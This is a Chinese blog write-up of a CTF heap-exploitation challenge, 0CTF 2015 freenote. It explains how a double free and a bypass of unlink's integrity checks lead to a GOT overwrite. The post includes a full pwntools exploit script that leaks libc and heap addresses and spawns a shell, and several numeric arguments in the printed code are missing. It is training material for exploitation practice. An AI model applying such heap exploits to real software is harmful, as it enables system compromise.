见微知著(二):解析ctf中的pwn--怎么利用double free
这次选2015年的0ctf的一道非常经典的pwn题,感觉这个题目作为练习题来理解堆还是很棒的。
运行起来,可以看出是一个实现类似于记事本功能的程序,就这一点而言,基本是套路了,功能都试一遍之后,就可以去试着寻找漏洞了,
看呀看,看呀看,发现一个问题,咦,好像在free堆的时候没有进行检查额,有趣,问题肯定就在这里了。
详细看过0day安全的都记得书里面的Dword Shoot吧!然而,随着国内外黑客们隔段时间就喜欢搞点大新闻,所以无论在Linux和Windows上都插入了宏来验证堆上的fd和bk是否发生了修改。具体代码如下:
assert(p->fd->bk == p);
assert(p->bk->fd == p);
当然,这会在后面细说的,在利用double_free之前,要想办法泄露出堆的地址,这里得看输入字符串函数了,根据套路,一般都是这里出问题。
果不其然,这里输入字符串结尾并没有加上'/x00',说明可以读取超过预定长度的字符串了,这里来回顾一下一个chunk长啥样的,这里为了方便理解这个题的泄露方式,我自己画了一个一维的图:
其中FD中指向next_chunk,BK指向前置指针。换句话说,只要能够得到FD或者BK的值,再通过一定的计算,就可以得到堆的地址了。而在glibc中,free之后并不会清空对中的内容,又因为如之前所说,输入并不会在末尾加'\x00'。所以这里有很多种方法可以的得到指针的值,这里选取一种容易理解的来讲解
可以分配一个chunk,然后再将它free掉,之后再分配一个等于8字节大小的chunk,覆盖掉FD,但是此时,FD依然是之前的值,而且由于put函数直到遇到'\x00'才停止输出,完全可以得到BK的值,在经 过计算就可以得到heap的基地址了
而且,这里还有一个挺有意思的地方,在glibc中,main Arena 在libc.so.6的数据段上,也就是说,我们也可以根据这种办法来变相得到libc.so.6的基地址,当然也可以通过固有套路来得到基地址。源码如下:
raw_input('*************************Leak_Libc*******************************8') notelen=0x80 new_note("A"*notelen)
new_note("B"*notelen)
delete_note(0) new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")
leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))-0x3be7b8
print hex(leaklibcaddr) system_sh_addr = leaklibcaddr + 0x46590
print "system_sh_addr: " + hex(system_sh_addr)
bin_sh_addr = leaklibcaddr + 0x17c8c3 delete_note(1)
delete_note(0) raw_input('******************Leak_heap******************')
notelen=0x80 new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0) new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n") #print leak[0:-1].encode('hex')
heapBase= u64(leak[0:-1].ljust(8, '\x00'))-0x1820
print "heapBase:"+hex(heapBase) delete_note(0)
delete_note(1)
delete_note(3)
好啦,基地址拿到了,现在可以好好讲讲double_free了,在很久很久以前,那时候没有那么多加固措施,那时候进行堆攻击就挺方便的。直接溢出,伪造BK和FD就好了=_=。这个利用详细可以看看exploit-exercise, fusion的heap3,这里只简单讲一下free函数里的unlink操作了,如下:
FD = P->fd;
BK = P->bk;
FD->bk = BK; \
BK->fd = FD;
然而,正如上文所说,加入了两个断言,所以就要相办法绕过去,这里常规的方法就是找一个指向该chunk的指针p,同时将该chunk的fd指向p-3,而bk指向P-2。这样的话就可以将*p = p-3了,同时,如果可以对*p,也就是chunk进行写的话,就可以任意写p-3之后的内存空间了。示意图如下:
在这个题目中,通过对p进行写,然后可以将p指向got.plt 中free的位置,再将free写成system,最后再调用free就OK了!
具体思路大致就是这些,但是,还有一个很重要的问题没有说,就是怎么得到伪造的机会以及怎么伪造,先来将怎么得到伪造的机会。
正如上文所说,本题没有检查chunk是否释放,完全可以先连续malloc三个堆,chunkA,chunkB,chunkC,再释放,根据堆的特性,这三个堆会合并,这是再分配一个小于size(chunkA)+size(chunkB)+size(chunkC)+0x20的堆,这是再对这片内存进行写,来伪造连续四个堆(貌似可以只伪造两个,但是还没有看完glibc的malloc.c的代码,所以以后再补),至于为什么伪造四个呢,这里要考虑到chunk的flag指向的是preChunk的状态,而要触发unlink操作的话,需要检查上一个chunk和下一个chunk的状态,这是就需要查看该chunk的flag和下下个chunk的flag了。在伪造的时候,需要注意的是有这么一段检查(坑的一逼)
assert (P->fd_nextsize->bk_nextsize == P);
assert (P->bk_nextsize->fd_nextsize == P);
所以,我们的上一段的size(也就是进行unlink操作的那个chunk),等于本段的preSize。
所以伪造的堆块如下。
payload = ""
payload += p64(0x0) + p64(notelen+) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64() + p64(notelen+0x11)+ "\x00" * (notelen-0x20)
下面是exp,在ubuntu可以直接使用,其它环境,请自己拿到libc.so.6的相关函数偏移地址:
#!/usr/bin/env python
from pwn import * #switch
DEBUG =
LOCAL =
VERBOSE = if LOCAL:
p = process('./freenote_x64')
else:
p = remote('127.0.0.1',) if VERBOSE:
context(log_level='debug') def new_note(x):
p.recvuntil("Your choice: ")
p.send("2\n")
p.recvuntil("Length of new note: ")
p.send(str(len(x))+"\n")
p.recvuntil("Enter your note: ")
p.send(x) def delete_note(x):
p.recvuntil("Your choice: ")
p.send("4\n")
p.recvuntil("Note number: ")
p.send(str(x)+"\n") def list_note():
p.recvuntil("Your choice: ")
p.send("1\n") def edit_note(x,y):
p.recvuntil("Your choice: ")
p.send("3\n")
p.recvuntil("Note number: ")
p.send(str(x)+"\n")
p.recvuntil("Length of note: ")
p.send(str(len(y))+"\n")
p.recvuntil("Enter your note: ")
p.send(y) if DEBUG:
gdb.attach(p) raw_input('*************************Leak_Libc*******************************8') notelen=0x80 new_note("A"*notelen)
new_note("B"*notelen)
delete_note() new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n") leaklibcaddr = u64(leak[:-].ljust(, '\x00'))-0x3be7b8
print hex(leaklibcaddr) system_sh_addr = leaklibcaddr + 0x46590
print "system_sh_addr: " + hex(system_sh_addr)
bin_sh_addr = leaklibcaddr + 0x17c8c3 delete_note()
delete_note() raw_input('******************Leak_heap******************')
notelen=0x80 new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note()
delete_note() new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n") #print leak[:-].encode('hex')
heapBase= u64(leak[:-].ljust(, '\x00'))-0x1820
print "heapBase:"+hex(heapBase) delete_note()
delete_note()
delete_note() raw_input('*******************doubel_free*****************')
notelen = 0x80 #new_note("/bin/sh\x00"+"A"*(notelen-))
new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen) delete_note()
delete_note()
delete_note() fd = heapBase + 0x18#notetable
bk = fd + 0x8 payload = ""
payload += p64(0x0) + p64(notelen+) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64() + p64(notelen+0x11)+ "\x00" * (notelen-0x20) new_note(payload)
raw_input('*******************beforetest*****************')
delete_note() free_got = 0x602018 payload2 = p64()+p64()+p64(0x8)+p64(free_got)+'A'*0x10+p64(bin_sh_addr)
payload2 += 'A'*(0x180-len(payload2)) edit_note(, payload2)
edit_note(, p64(system_sh_addr))
delete_note() p.interactive()
见微知著(二):解析ctf中的pwn--怎么利用double free的更多相关文章
- 见微知著(一):解析ctf中的pwn--Fast bin里的UAF
在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...
- 见微知著(三):解析ctf中的pwn--Fastbin和bins的溢出
1月1号写博客,也是不容易呀!大家新年快乐呀! 先从Fastbin看起,是2015年RCTF的一道pwn题,shaxian.先看看代码的大致流程,随便输入一下: 这个题目关键之处在于堆溢出,对于堆种类 ...
- CTF中做Linux下漏洞利用的一些心得
其实不是很爱搞Linux,但是因为CTF必须要接触一些,漏洞利用方面也是因为CTF基本都是linux的pwn题目. 基本的题目分类,我认为就下面这三种,这也是常见的类型. 下面就分类来说说 0x0.栈 ...
- 转:二十一、详细解析Java中抽象类和接口的区别
转:二十一.详细解析Java中抽象类和接口的区别 http://blog.csdn.net/liujun13579/article/details/7737670 在Java语言中, abstract ...
- 解析jQuery中extend方法--源码解析以及递归的过程《二》
源码解析 在解析代码之前,首先要了解extend函数要解决什么问题,以及传入不同的参数,会达到怎样的效果.extend函数内部处理传入的不同参数,返回处理后的对象. extend函数用来扩展对象,增加 ...
- Python算法之动态规划(Dynamic Programming)解析:二维矩阵中的醉汉(魔改版leetcode出界的路径数)
原文转载自「刘悦的技术博客」https://v3u.cn/a_id_168 现在很多互联网企业学聪明了,知道应聘者有目的性的刷Leetcode原题,用来应付算法题面试,所以开始对这些题进行" ...
- Chrome扩展开发之二——Chrome扩展中脚本的运行机制和通信方式
目录: 0.Chrome扩展开发(Gmail附件管理助手)系列之〇——概述 1.Chrome扩展开发之一——Chrome扩展的文件结构 2.Chrome扩展开发之二——Chrome扩展中脚本的运行机制 ...
- CTF中那些脑洞大开的编码和加密
0x00 前言 正文开始之前先闲扯几句吧,玩CTF的小伙伴也许会遇到类似这样的问题:表哥,你知道这是什么加密吗?其实CTF中脑洞密码题(非现代加密方式)一般都是各种古典密码的变形,一般出题者会对密文进 ...
- XML解析——Java中XML的四种解析方式
XML是一种通用的数据交换格式,它的平台无关性.语言无关性.系统无关性.给数据集成与交互带来了极大的方便.XML在不同的语言环境中解析方式都是一样的,只不过实现的语法不同而已. XML的解析方式分为四 ...
随机推荐
- 【题解】NOIP2016愤怒的小鸟
一眼n<=18状压dp……方程什么的都很显然,枚举两只小鸟,再将这条抛物线上的小鸟抓出来就好啦.只是这样O(n^3)的dp必然是要TLE的,我一开始这样交上去显然跑得巨慢无比,后来转念一想:面对 ...
- clientWidth、clientHeight、offsetWidth、offsetHeight以及scrollWidth、scrollHeight
clientWidth.clientHeight.offsetWidth.offsetHeight以及scrollWidth.scrollHeight是几个困惑了好久的元素属性,趁着有时间整理一下 1 ...
- 【ZJ选讲·BZOJ 5071】
小A的数字 有一串数字A1 ,A2,--,An,每次可以进行如下骚操作: 选择一个数字i,将(Ai-1,Ai,Ai+1)变为(Ai-1+Ai,-Ai,Ai+1+Ai), (特别地,若i=N,则( ...
- 防恶意解析,禁止用IP访问网站的Apache设置
一般来说,网站可以用域名和IP来访问.你的网站可以通过IP直接访问,本来这没什么问题,但是会有些隐患: 由于搜索引擎也会收录你的IP地址的页面,所以同一个页面搜索引擎会重复收录,造成页面的权重不如单个 ...
- MySQL使用笔记(一)安装配置
By francis_hao Nov 27,2016 一般软件的安装都是可以通过源码和安装包安装,源码安装可配置性好些,安装包安装比较省事,况且使用yum也可以解决依赖的问题,基本实现了一键 ...
- taotao用户登录springMVC拦截器的实现
在springMVC中写拦截器,只需要两步: 一.写 java 拦截器类,实现 interceptor 拦截器接口. 二.在 springMVC 的xml配置文件中,配置我们创建的拦截器对象及其拦截目 ...
- linux bash学习(一)
1.请你以 read 指令的用途,撰写一个 script ,他可以让使用者输入:1. first name 与 2. last name, 最后并且在屏幕上显示:“Your full name is: ...
- 两数之和 [ leetcode ]
原题地址:https://leetcode-cn.com/articles/two-sum/ 给定一个整数数组和一个目标值,找出数组中和为目标值的两个数. 你可以假设每个输入只对应一种答案,且同样的元 ...
- Kafka自我学习3-Scalable
1.After created the zookeeper cluster, we found all broker cluster topic can be find in zoo1, zoo2, ...
- Java之戳中痛点 - (1)易变业务使用脚本语言编写
脚本语言的3大特征: 1.灵活:脚本语言一般是动态类型,可以不声明变量类型直接使用,也可以在运行期改变类型:2.便捷:脚本语言是解释性语言,在运行期变更非常方便,而不用重启服务3.简单:脚本语言语法比 ...